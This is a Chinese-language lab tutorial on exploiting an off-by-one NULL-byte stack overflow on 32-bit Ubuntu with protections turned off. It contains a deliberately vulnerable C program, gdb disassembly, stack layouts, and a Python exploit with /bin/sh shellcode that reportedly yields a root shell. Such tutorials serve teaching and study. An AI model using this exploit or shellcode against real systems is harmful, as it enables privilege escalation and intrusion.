0.前言
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。 简单地说就是因为字符串最后有一个不可见字符“\n”,会对缓冲区外的栈中的数据的最后一个字节覆盖,无论其中数据为任何值,最后一个字节都将被复改为00,举个例子,如果buffer之上的数据为一个地址0xbffff022,这个漏洞将会将其覆盖为0xbffff000。
1.环境及工具
虚拟机环境:Ubuntu 12.04 Desktop(x86) 工具:gdb-peda
2.漏洞程序的成因分析
2.1 漏洞代码
一个简单的含有栈溢出漏洞的代码如下:
//vuln.c
//
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg);
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg);
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) {
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]);
return 0;
}
漏洞代码的位置为:Bar函数中的strcpy(buf, arg)缓冲区长度为256字节,使用256字节的填充可以导致ebp的低字节被覆盖。
2.2 调试
首先编译链接源代码,使之成为可执行文件。(先关闭栈保护,使栈变得可写,这个漏洞才能生效;关闭aslr地址随机化关闭),修改可执行文件的用户组为root,修改权限等。
然后开始调试,首先发送一系列256的“A”来测试,观察EBP是否覆盖,从而可能覆盖返回地址。
查看程序崩溃时的状态,发现没有被成功覆盖
经过查阅资料,最终发现问题的所在。在buffer处下断点调试,结果如下:
发现堆栈位置是在0xbffff0f8-0xbffff1f8之间,ebp中存放的地址为0xbffff204,若要用A覆盖的话,返回的地址为0xbffff200,这个位置不再在栈中,因此没有覆盖。经过调整程序结构,加入一些其他代码,最终调整成功。
直接使用gdb查看main函数的汇编代码
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048497 <+0>: push ebp
0x08048498 <+1>: mov ebp,esp
0x0804849a <+3>: push edi
0x0804849b <+4>: sub esp,0x8
0x0804849e <+7>: mov eax,DWORD PTR [ebp+0xc]
0x080484a1 <+10>: add eax,0x4
0x080484a4 <+13>: mov eax,DWORD PTR [eax]
0x080484a6 <+15>: mov DWORD PTR [ebp-0x8],0xffffffff
0x080484ad <+22>: mov edx,eax
0x080484af <+24>: mov eax,0x0
0x080484b4 <+29>: mov ecx,DWORD PTR [ebp-0x8]
0x080484b7 <+32>: mov edi,edx
0x080484b9 <+34>: repnz scas al,BYTE PTR es:[edi]
0x080484bb <+36>: mov eax,ecx
0x080484bd <+38>: not eax
0x080484bf <+40>: sub eax,0x1
0x080484c2 <+43>: cmp eax,0x100
0x080484c7 <+48>: jbe 0x80484e9 <main+82>
0x080484c9 <+50>: mov DWORD PTR [esp],0x80485e0
0x080484d0 <+57>: call 0x8048380 <puts@plt>
0x080484d5 <+62>: mov eax,ds:0x804a020
0x080484da <+67>: mov DWORD PTR [esp],eax
0x080484dd <+70>: call 0x8048360 <fflush@plt>
0x080484e2 <+75>: mov eax,0xffffffff
0x080484e7 <+80>: jmp 0x80484fe <main+103>
0x080484e9 <+82>: mov eax,DWORD PTR [ebp+0xc]
0x080484ec <+85>: add eax,0x4
0x080484ef <+88>: mov eax,DWORD PTR [eax]
0x080484f1 <+90>: mov DWORD PTR [esp],eax
0x080484f4 <+93>: call 0x8048464 <foo>
0x080484f9 <+98>: mov eax,0x0
0x080484fe <+103>: add esp,0x8
0x08048501 <+106>: pop edi
0x08048502 <+107>: pop ebp
0x08048503 <+108>: ret
End of assembler dump.
2.3 程序整体的栈布局大致如下
地址 | 栈 | 指针 |
---|---|---|
argv | ||
argc | ||
Return Address | ||
调用者的ebp | ||
edi | ||
Stack Space | ||
Stack Space | ||
Return Address | ||
0xbffff234 | Main函数的EBP | |
Stack Space | ||
Return Address | ||
0xbffff228 | Foo函数的EBP | ebp |
buf_end | ||
… | ||
… | ||
0xbffff208 | shellcode | |
0xbfffff204 | Return Address | |
0xbffff200 | ebp | |
… | ||
0xbffff128 | buf_start | |
… | ||
0xbffff120 | esp |
3.编写exp
构造256字节的缓冲区内容 分析:buf起始0xbffff128,返回的EBP:0xbffff200,return_address:0xbfffff204,把shellcode放到起始位置为0xbffff208的内存空间。 0xbffff204H-0xbffff128H=DCH=220字节,这是第一段空间,从buf开始,到return_address之前,填充为‘A’ 4字节,这是第二段return_address 然后就开始计算,还剩多少空间,256-220-4=32字节,shellcode需要28字节,留给nop和A总共的空间只有4字节然后就开始定shellcode的位置,从205H开始放NOP。我选择208H放shellcode,中间的205H,206H,207H,放3个NOP,208放shellcode,最后只剩一个字节放一个‘A’
地址 | buffer | 指针 |
---|---|---|
A* 1 | ||
0xbffff208 | scode | |
0xbffff205 | \x90 * 3 | |
ret_addr | ||
0xbffff128 | A*220 | buf_start |
python代码如下:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xbffff208
def conv(num):
return struct.pack("<I",num)
buf = "A" * 220
buf += conv(ret_addr)
buf += "\x90" * 3
buf += scode
buf += "A" * 1
print "Calling vulnerable program"
call(["./vuln", buf])
可以看到通过执行exp成功获取了系统的root权限。